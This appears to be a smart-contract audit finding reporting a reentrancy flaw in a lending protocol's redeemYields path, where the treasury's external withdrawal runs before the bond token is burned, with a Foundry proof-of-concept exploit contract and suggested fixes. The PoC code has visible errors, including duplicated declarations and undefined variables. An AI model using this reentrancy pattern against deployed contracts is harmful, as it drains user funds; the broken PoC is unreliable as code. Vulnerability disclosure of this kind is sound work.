Skip to content

Latest commit

 

History

History
166 lines (120 loc) · 7.26 KB

006.md

File metadata and controls

166 lines (120 loc) · 7.26 KB

Jumpy Wool Mockingbird

High

Reentrancy in treasury.withdrawFromExternalProtocol

Summary

Attacker has to create a bond, when he tries to reedemYields is vulnerable to reentrancy, it calls treasury.withdrawFromExternalProtocol which triggers .call before calling abond.burnFromUser allowing the bond to exist and making the reentrancy possible

Root Cause

In BorrowLib.sol abond.burnFromUser is called after treasury.withdrawFromExternalProtocol which is vulnerable to reentrancy which allows an attack to trigger redeemYields as many time as they like, until they drain all funds from treasury

Internal pre-conditions

  1. Attacker has to create a valid bond and wait until it can use redeemYields

External pre-conditions

No response

Attack Path

  1. reedemYields - with a valid aBondAmount
  2. Recall redeemYields until Treasury.sol is drained (can only be done from a contract)

Impact

Loss of all funds in Treasury.sol

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test,StdUtils,console} from "forge-std/Test.sol";
import {BorrowingTest} from "../../contracts/TestContracts/CopyBorrowing.sol";
import {Treasury} from "../../contracts/Core_logic/Treasury.sol";
import {Options} from "../../contracts/Core_logic/Options.sol";
import {MultiSign} from "../../contracts/Core_logic/multiSign.sol";
import {CDSTest} from "../../contracts/TestContracts/CopyCDS.sol";
import {TestUSDaStablecoin} from "../../contracts/TestContracts/CopyUSDa.sol";
import {TestABONDToken} from "../../contracts/TestContracts/Copy_Abond_Token.sol";
import {TestUSDT} from "../../contracts/TestContracts/CopyUsdt.sol";
import {HelperConfig} from "../../scripts/script/HelperConfig.s.sol";
import {DeployBorrowing} from "../../scripts/script/DeployBorrowing.s.sol";
import {IWrappedTokenGatewayV3} from "../../contracts/interface/AaveInterfaces/IWETHGateway.sol";
import {IPoolAddressesProvider} from "../../contracts/interface/AaveInterfaces/IPoolAddressesProvider.sol";
import {ILendingPoolAddressesProvider} from "../../contracts/interface/AaveInterfaces/ILendingPoolAddressesProvider.sol";
import {IPool} from "../../contracts/interface/AaveInterfaces/IPool.sol";
import {State} from "../../contracts/interface/IAbond.sol";
import {IBorrowing} from "../../contracts/interface/IBorrowing.sol";
import {CDSInterface} from "../../contracts/interface/CDSInterface.sol";
import {ITreasury} from "../../contracts/interface/ITreasury.sol";
import {CometMainInterface} from "../../contracts/interface/CometMainInterface.sol";
import {IOptions} from "../../contracts/interface/IOptions.sol";
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { MessagingFee } from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/OApp.sol";
import { OptionsBuilder } from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/libs/OptionsBuilder.sol";
import {IGlobalVariables} from "../../contracts/interface/IGlobalVariables.sol";
import {IWrsETH} from "../../contracts/interface/IWrsETH.sol";

interface IBorrowLib{
    function redeemYields(
        address user,
        uint128 aBondAmount,
        address usdaAddress,
        address abondAddress,
        address treasuryAddress,
        address borrow
    ) public returns (uint256);
}

contract Exploit is Test{
    DeployBorrowing deployer;
    DeployBorrowing.Contracts contractsA;
    DeployBorrowing.Contracts contractsB;

    DeployBorrowing deployer;
    DeployBorrowing.Contracts contractsA;
    DeployBorrowing.Contracts contractsB;

    address ethUsdPriceFeed;

    address public USER = makeAddr("user");
    address public owner = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address public owner1 = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    address public aTokenAddress = 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8; // 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8;
    address public cometAddress = 0xA17581A9E3356d9A858b789D68B4d866e593aE94; // 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;

    uint256 public ETH_AMOUNT = 1 ether;
    uint256 public STARTING_ETH_BALANCE = 100 ether;
    uint64 public ETH_PRICE = 1000e2;
    uint256 public ETH_VOLATILITY = 50622665;
    using OptionsBuilder for bytes;

    IBorrowLib target;
    address treasury;

    function setUp() public {
        deployer = new DeployBorrowing();
        (contractsA,contractsB) = deployer.run();
        vm.deal(USER,STARTING_ETH_BALANCE);
        vm.deal(owner,STARTING_ETH_BALANCE);
    }

    constructor(address adr, address tr) {
        target = IBorrowLib(target);
        treasury = tr;
    }

    receive() external {
        if(treasury.balance > 0){
            uint256 withdrawAmount = contractsB.borrow.redeemYields(address(USER),uint128(abondBalance));
        }
    }

    function testUserCanRedeemAbond() public {
        vm.startPrank(USER);

        vm.warp(block.timestamp + 2592000);

        contractsB.borrow.calculateCumulativeRate();

        contractsB.usda.mint(address(USER),1000000000);
        uint256 usdaBalance = contractsB.usda.balanceOf(address(USER));

        contractsB.usda.approve(address(contractsB.borrow),usdaBalance);
        contractsB.borrow.withDraw{value:(borrowFee.nativeFee + treasuryFee.nativeFee)}(address(USER),1,99900,uint64(block.timestamp));

        contractsB.borrow.depositTokens{value: (ETH_AMOUNT+cdsFee.nativeFee+borrowFee.nativeFee+treasuryFee.nativeFee)}(
        100000,uint64(block.timestamp),IOptions.StrikePrice.TEN,110000,50622665,ETH_AMOUNT);

        vm.warp(block.timestamp + 2592000);

        contractsB.borrow.calculateCumulativeRate();

        contractsB.usda.mint(address(USER),10000000);

        contractsB.usda.approve(address(contractsB.borrow),contractsB.usda.balanceOf(address(USER)));
        contractsB.borrow.withDraw{value:(borrowFee.nativeFee + treasuryFee.nativeFee)}(address(USER),2,99900,uint64(block.timestamp));

        uint256 aTokenBalance = IERC20(aTokenAddress).balanceOf(address(contractsB.treasury));
        uint256 cETHbalance = CometMainInterface(cometAddress).balanceOf(address(contractsB.treasury));

        uint256 abondBalance = contractsB.abond.balanceOf(address(USER));
        contractsB.abond.approve(address(contractsB.borrow), abondBalance);



        // When redeemYields is called it will trigger a reentrancy in `withdrawFromExternalProtocol` which allows to drain the treasury
        uint256 withdrawAmount = contractsB.borrow.redeemYields(address(USER),uint128(abondBalance));

        assert((aTokenBalance + cETHbalance - withdrawAmount) <= 1e16);

        vm.stopPrank();
    }   
}

Mitigation

Option 1: Add nonReetrant to withdrawFromExternalProtocol Option 2: Move abond.burnFromUser before the treasury.withdrawFromExternalProtocol